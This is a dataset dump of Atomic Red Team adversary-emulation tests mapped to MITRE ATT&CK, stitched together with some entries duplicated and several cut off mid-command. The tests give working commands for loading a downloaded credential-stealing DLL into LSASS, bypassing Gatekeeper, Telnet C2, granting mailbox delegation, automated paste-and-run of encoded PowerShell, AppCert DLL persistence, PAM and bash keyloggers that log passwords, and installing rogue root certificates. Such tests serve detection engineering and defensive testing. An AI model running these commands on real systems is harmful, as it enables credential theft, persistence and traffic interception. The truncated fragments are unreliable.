deardaniel/secdata-raw huggingface dataset:
# T1547.008 - Boot or Logon Autostart Execution: LSASS Driver

## Description from ATT&CK

> Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)
> 
> Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.

[Source](https://attack.mitre.org/techniques/T1547/008)

## Atomic Tests

- [Atomic Test #1: Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt](#atomic-test-1-modify-registry-to-load-arbitrary-dll-into-lsass---lsadbextpt)

### Atomic Test #1: Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt

The following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS. 

Upon execution, the registry key will be modified and a value will contain the path to the DLL. 
Reference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source https://github.com/oxfemale/LogonCredentialsSteal
Note that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the DLL.

**Supported Platforms:** Windows

**auto_generated_guid:** `8ecef16d-d289-46b4-917b-0dba6dc81cf1`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| dll_path | Module to be loaded into LSASS | path | PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;lsass_lib.dll|

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "#{dll_path}"
```

#### Cleanup Commands

```powershell
Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS" -Name "LsaDbExtPt" -ErrorAction Ignore | Out-Null
```

#### Dependencies: Run with `powershell`!

##### Description: lsass_lib.dll must exist on disk at specified location (#{dll_path})

###### Check Prereq Commands

```powershell
if (Test-Path "#{dll_path}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/oxfemale/LogonCredentialsSteal/raw/53e74251f397ddeab2bd1348c3ff26d702cfd836/lsass_lib/x64/Release/lsass_lib.dll" -UseBasicParsing -OutFile "#{dll_path}"
```
Atomic Red Team — T1553.001: Subvert Trust Controls: Gatekeeper Bypass
Test: Gatekeeper Bypass
Platforms: macos
Executor: sh

Description:
Gatekeeper Bypass via command line


Command:
xattr -d com.apple.quarantine #{app_path}
Atomic Red Team — T1071: Application Layer Protocol
Test: Telnet C2
Platforms: windows
Executor: powershell

Description:
An adversary may establish Telnet communication from a compromised endpoint to a command and control (C2) server in order to carry out additional attacks on objectives.


Command:
#{client_path} #{server_ip} --port #{server_port}


Dependencies:
A command and control (C2) server can be established by running PathToAtomicsFolder\T1071\bin\telnet_server.exe on a specified server with a specified IP that must be reachable by a client (telnet_client.exe)
# T1071 - Application Layer Protocol

## Description from ATT&CK

> Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
> 
> Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22)

[Source](https://attack.mitre.org/techniques/T1071)

## Atomic Tests

- [Atomic Test #1: Telnet C2](#atomic-test-1-telnet-c2)

### Atomic Test #1: Telnet C2

An adversary may establish Telnet communication from a compromised endpoint to a command and control (C2) server in order to carry out additional attacks on objectives.

**Supported Platforms:** Windows

**auto_generated_guid:** `3b0df731-030c-4768-b492-2a3216d90e53`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| server_ip | C2 server IP or URL | url | 127.0.0.1|
| client_path | Client agent path | path | PathToAtomicsFolder&#92;T1071&#92;bin&#92;telnet_client.exe|
| server_port | C2 server port | integer | 23|

#### Attack Commands: Run with `powershell`!

```powershell
#{client_path} #{server_ip} --port #{server_port}
```


#### Dependencies: Run with `powershell`!

##### Description: A command and control (C2) server can be established by running PathToAtomicsFolder\T1071\bin\telnet_server.exe on a specified server with a specified IP that must be reachable by a client (telnet_client.exe)

###### Check Prereq Commands

```powershell
$connection = Test-NetConnection -ComputerName #{server_ip} -Port #{server_port}
if ($connection.TcpTestSucceeded) {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
Write-Host "Setup C2 server manually"
```
Atomic Red Team — T1098.002: Account Manipulation: Additional Email Delegate Permissions
Test: EXO - Full access mailbox permission granted to a user
Platforms: office-365
Executor: powershell

Description:
Give a nominated user, full mailbox delegation access of another user.
This can be used by an adversary to maintain persistent access to a target's mailbox in M365.


Command:
Import-Module ExchangeOnlineManagement
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
Add-MailboxPermission -Identity "#{delegate_target}" -User "#{operator_mailbox}" -AccessRights FullAccess -InheritanceType All
Disconnect-ExchangeOnline -Confirm:$false


Cleanup:
Import-Module ExchangeOnlineManagement
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
Remove-MailboxPermission -Identity "#{deleg

Dependencies:
ExchangeOnlineManagement PowerShell module must be installed
Atomic Red Team — T1566.002: Phishing: Spearphishing Link
Test: Paste and run technique
Platforms: windows
Executor: powershell

Description:
Tests the **Paste and Run** technique, where users are tricked into running
malicious PowerShell commands by automating the Win+R command to open the
Run dialog and input `encoded PowerShell to execute calc.exe.`

- [Fake CAPTCHA Campaign](https://medium.com/@ahmed.moh.farou2/fake-captcha-campaign-on-arabic-pirated-movie-sites-delivers-lumma-stealer-4f203f7adabf)
- [From Clipboard to Compromise](https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn)


Command:
# Add user32.dll for keybd_event
Add-Type @"
    using System;
    using System.Runtime.InteropServices;
    public class K {
        [DllImport("user32.dll")]
        public static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo);
    }
"@

# Virtual key codes
$VK_LWIN, $VK_R, $KEYDOWN, $KEYUP = 0x5B, 0x52, 0x0000, 0x0002

# Open Run dialog (Win+R)
[K]::keybd_event($VK_LWIN, 0, $KEYDOWN, [UIntPtr]::Zero)
[K]::keybd_event($VK_R, 0, $KEYDOWN, [UIntPtr]::Zero)
[K]::keybd_event($VK_R, 0, $KEYUP, [UIntPtr]::Zero)
[K]::keybd_event($VK_LWIN, 0, $KEYUP, [UIntPtr]::Zero)

# Short delay for Run dialog
Start-Sleep -Milliseconds 500
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.SendKeys]::SendWait("cmd /c powershell -ec " + [Convert]::ToBase64String
# T1546.009 - Event Triggered Execution: AppCert DLLs

## Description from ATT&CK

> Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)
> 
> Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.

[Source](https://attack.mitre.org/techniques/T1546/009)

## Atomic Tests

- [Atomic Test #1: Create registry persistence via AppCert DLL](#atomic-test-1-create-registry-persistence-via-appcert-dll)

### Atomic Test #1: Create registry persistence via AppCert DLL

Creates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. 
Once the computer restarted, the DLL will be loaded in multiple processes and write an 
'AtomicTest.txt' file in C:\Users\Public\ to validate that the DLL executed succesfully.

Reference: https://skanthak.homepage.t-online.de/appcert.html

**Supported Platforms:** Windows

**auto_generated_guid:** `a5ad6104-5bab-4c43-b295-b4c44c7c6b05`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| dll_path | path of dll to use | path | PathToAtomicsFolder&#92;T1546.009&#92;bin&#92;AtomicTest.dll|
| reboot | Set value to $true if you want to automatically reboot the machine | string | $false|

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Copy-Item "#{dll_path}" C:\Users\Public\AtomicTest.dll -Force
reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /t REG_EXPAND_SZ /d "C:\Users\Public\AtomicTest.dll" /f
if(#{reboot}){Restart-Computer}
```

#### Cleanup Commands

```powershell
reg delete "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /f
Remove-Item C:\Users\Public\AtomicTest.dll -Force
Remove-Item C:\Users\Public\AtomicTest.txt -Force
```

#### Dependencies: Run with `powershell`!

##### Description: File to copy must exist on disk at specified location (#{dll_path})

###### Check Prereq Commands

```powershell
if (Test-Path "#{dll_path}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory (split-path "#{dll_path}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.009/bin/AtomicTest.dll" -OutFile "#{dll_path}"
```
Atomic Red Team — T1546.009: Event Triggered Execution: AppCert DLLs
Test: Create registry persistence via AppCert DLL
Platforms: windows
Executor: powershell

Description:
Creates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. 
Once the computer restarted, the DLL will be loaded in multiple processes and write an 
'AtomicTest.txt' file in C:\Users\Public\ to validate that the DLL executed succesfully.

Reference: https://skanthak.homepage.t-online.de/appcert.html


Command:
Copy-Item "#{dll_path}" C:\Users\Public\AtomicTest.dll -Force
reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /t REG_EXPAND_SZ /d "C:\Users\Public\AtomicTest.dll" /f
if(#{reboot}){Restart-Computer} 


Cleanup:
reg delete "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /f
Remove-Item C:\Users\Public\AtomicTest.dll -Force
Remove-Item C:\Users\Public\AtomicTest.txt -Force


Dependencies:
File to copy must exist on disk at specified location (#{dll_path})
Atomic Red Team — T1056.001: Input Capture: Keylogging
Test: Input Capture
Platforms: windows
Executor: powershell

Description:
Utilize PowerShell and external resource to capture keystrokes
[Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1)
Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)

Upon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log.


Command:
&"$PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1" -LogPath #{filepath}


Cleanup:
Remove-Item $env:TEMP\key.log -ErrorAction Ignore


Dependencies:
Get-Keystrokes PowerShell script must exist on disk at PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1
Atomic Red Team — T1056.001: Input Capture: Keylogging
Test: Living off the land Terminal Input Capture on Linux with pam.d
Platforms: linux
Executor: sh

Description:
Pluggable Access Module, which is present on all modern Linux systems, generally contains a library called pam_tty_audit.so which logs all keystrokes for the selected users and sends it to audit.log.  All terminal activity on any new logins would then be archived and readable by an adversary with elevated privledges.

Passwords hidden by the console can also be logged, with 'log_passwd' as in this example.  If root logging is enabled, then output from any process which is later started by root is also logged, even if this policy is carefully enabled (e.g. 'disable=*' as the initial command).

Use 'aureport --tty' or other audit.d reading tools to read the log output, which is binary.  Mac OS does not currently contain the pam_tty_audit.so library. 


Command:
if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi;
if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi;
sudo touch /tmp/password-auth.bk
sudo touch /tmp/system-auth.bk sudo echo "session    required    pam_tty_audit.so
enable=* log_password" >> /etc/pam.d/password-auth sudo echo "session    required    pam_tty_audit.so
enable=* log_password" >> /etc/pam.d/system-auth


Cleanup:
sudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth
sudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth


Dependencies:
Checking if pam_tty_audit.so is installed
Atomic Red Team — T1056.001: Input Capture: Keylogging
Test: Logging bash history to syslog
Platforms: linux
Executor: sh

Description:
There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable "if set" will be executed before the PS1 variable and can be configured to write the latest "bash history" entries to the syslog.

To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ 


Command:
PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t "$USER[$$] $SSH_CONNECTION ")'
echo "\$PROMPT_COMMAND=$PROMPT_COMMAND"
tail /var/log/syslog


Cleanup:
unset PROMPT_COMMAND


Dependencies:
This test requires to be run in a bash shell and that logger and tee are installed.
Atomic Red Team — T1056.001: Input Capture: Keylogging
Test: Logging sh history to syslog/messages
Platforms: linux
Executor: sh

Description:
There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable "if set" will be executed before the PS1 variable and can be configured to write the latest "bash history" entries to the syslog.

To gain persistence the command could be added to the users .shrc or .profile 


Command:
PS2=`logger -t "$USER" -f ~/.sh_history`
$PS2
tail /var/log/messages


Cleanup:
unset PS2


Dependencies:
This test requires to be run in a bash shell and that logger and tee are installed.
Atomic Red Team — T1056.001: Input Capture: Keylogging
Test: Bash session based keylogger
Platforms: linux
Executor: bash

Description:
When a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = "echo $BASH_COMMAND". The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger. 

To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ 


Command:
trap 'echo "$(date +"%d/%m/%y %H:%M:%S.%s") $USER $BASH_COMMAND" >> #{output_file}' DEBUG
echo "Hello World!"
cat #{output_file}


Cleanup:
rm #{output_file}


Dependencies:
This test requires to be run in a bash shell
Atomic Red Team — T1056.001: Input Capture: Keylogging
Test: SSHD PAM keylogger
Platforms: linux
Executor: sh

Description:
Linux PAM (Pluggable Authentication Modules) is used in sshd authentication. The Linux audit tool auditd can use the pam_tty_audit module to enable auditing of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes.


Command:
cp -v /etc/pam.d/sshd /tmp/
echo "session required pam_tty_audit.so disable=* enable=* open_only log_passwd" >> /etc/pam.d/sshd
systemctl restart sshd
systemctl restart auditd
ssh #{user_account}@localhost 
whoami
sudo su
whoami
exit
exit


Cleanup:
cp -fv /tmp/sshd /etc/pam.d/


Dependencies:
This test requires sshd and auditd
Atomic Red Team — T1056.001: Input Capture: Keylogging
Test: Auditd keylogger
Platforms: linux
Executor: sh

Description:
The linux audit tool auditd can be used to capture 32 and 64 bit command execution and place the command in the /var/log/audit/audit.log audit log. 


Command:
auditctl -a always,exit -F arch=b64 -S execve -k CMDS 
auditctl -a always,exit -F arch=b32 -S execve -k CMDS
whoami; ausearch -i --start now


Cleanup:
systemctl restart auditd


Dependencies:
This test requires sshd and auditd
Atomic Red Team — T1056.001: Input Capture: Keylogging
Test: MacOS Swift Keylogger
Platforms: macos
Executor: bash

Description:
Utilizes a swift script to log keys to sout. It runs for 5 seconds then dumps the output to standard. Input Monitoring is required.
Input Monitoring can be enabled in System Preferences > Security & Privacy > Privacy > Input Monitoring.
Referece: https://cedowens.medium.com/taking-esf-for-a-nother-spin-6e1e6acd1b74


Command:
swift #{swift_src} -keylog


Cleanup:
kill `pgrep swift-frontend`


Dependencies:
swift script must exist at #{swift_src}, and the terminal must have input monitoring permissions.
Atomic Red Team — T1547.007: Boot or Logon Autostart Execution: Re-opened Applications
Test: Copy in loginwindow.plist for Re-Opened Applications
Platforms: macos
Executor: sh

Description:
Copy in new loginwindow.plist to launch Calculator.


Command:
cp #{calc_plist_path} ~/Library/Preferences/ByHost/com.apple.loginwindow.plist


Cleanup:
rm -f ~/Library/Preferences/ByHost/com.apple.loginwindow.plist
Atomic Red Team — T1547.007: Boot or Logon Autostart Execution: Re-opened Applications
Test: Re-Opened Applications using LoginHook
Platforms: macos
Executor: sh

Description:
Mac Defaults

[Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html)


Command:
sudo defaults write com.apple.loginwindow LoginHook #{script}


Cleanup:
sudo defaults delete com.apple.loginwindow LoginHook
Atomic Red Team — T1547.007: Boot or Logon Autostart Execution: Re-opened Applications
Test: Append to existing loginwindow for Re-Opened Applications
Platforms: macos
Executor: sh

Description:
Appends an entry to launch Calculator hidden loginwindow.*.plist for next login.
Note that the change may not result in the added Calculator program launching on next user login.
It may depend on which version of macOS you are running on.


Command:
FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1`
if [ -z "${FILE}" ] ; then echo "No loginwindow plist file found" && exit 1 ; fi
echo save backup copy to /tmp/
cp ${FILE} /tmp/t1547007_loginwindow-backup.plist
echo before
plutil -p ${FILE}
echo overwriting...
#{exe_path} ${FILE} && echo after && plutil -p ${FILE}


Cleanup:
rm -f #{exe_path}
# revert to backup copy
FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1`
if [ -z "${FILE}" ] ; then
   exit 0
fi
mv /tmp/t1547007_loginwindow-backup.plist ${FILE}


Dependencies:
compile C program
Atomic Red Team — T1553.004: Subvert Trust Controls: Install Root Certificate
Test: Install root CA on CentOS/RHEL
Platforms: linux
Executor: sh

Description:
Creates a root CA with openssl


Command:
openssl genrsa -out #{key_filename} 4096
openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename}
cp #{cert_filename} /etc/pki/ca-trust/source/anchors/
update-ca-trust


Cleanup:
rm /etc/pki/ca-trust/source/anchors/#{cert_filename}
update-ca-trust
Atomic Red Team — T1553.004: Subvert Trust Controls: Install Root Certificate
Test: Install root CA on FreeBSD
Platforms: linux
Executor: sh

Description:
Creates a root CA with openssl


Command:
openssl genrsa -out #{key_filename} 4096
openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename}
cp #{cert_filename} /usr/local/share/certs/
certctl rehash


Cleanup:
rm /usr/local/share/certs/#{cert_filename}
certctl rehash
Atomic Red Team — T1553.004: Subvert Trust Controls: Install Root Certificate
Test: Install root CA on Debian/Ubuntu
Platforms: linux
Executor: sh

Description:
Creates a root CA with openssl


Command:
mv #{cert_filename} /usr/local/share/ca-certificates
sudo update-ca-certificates


Dependencies:
Verify the certificate exists. It generates if not on disk.
Atomic Red Team — T1553.004: Subvert Trust Controls: Install Root Certificate
Test: Install root CA on macOS
Platforms: macos
Executor: sh

Description:
Creates a root CA with openssl


Command:
sudo security add-trusted-cert -d -r trustRoot -k "/Library/Keychains/System.keychain" "#{cert_filename}"


Dependencies:
Verify the certificate exists. It generates if not on disk.
Atomic Red Team — T1553.004: Subvert Trust Controls: Install Root Certificate
Test: Install root CA on Windows
Platforms: windows
Executor: powershell

Description:
Creates a root CA with Powershell


Command:
$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My
Move-Item -Path $cert.PSPath -Destination "Cert:\LocalMachine\Root"


Cleanup:
try {
   $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My -ErrorAction Ignore
   Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
   Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorA

Dependencies:
Verify the certificate exists. It generates if not on disk.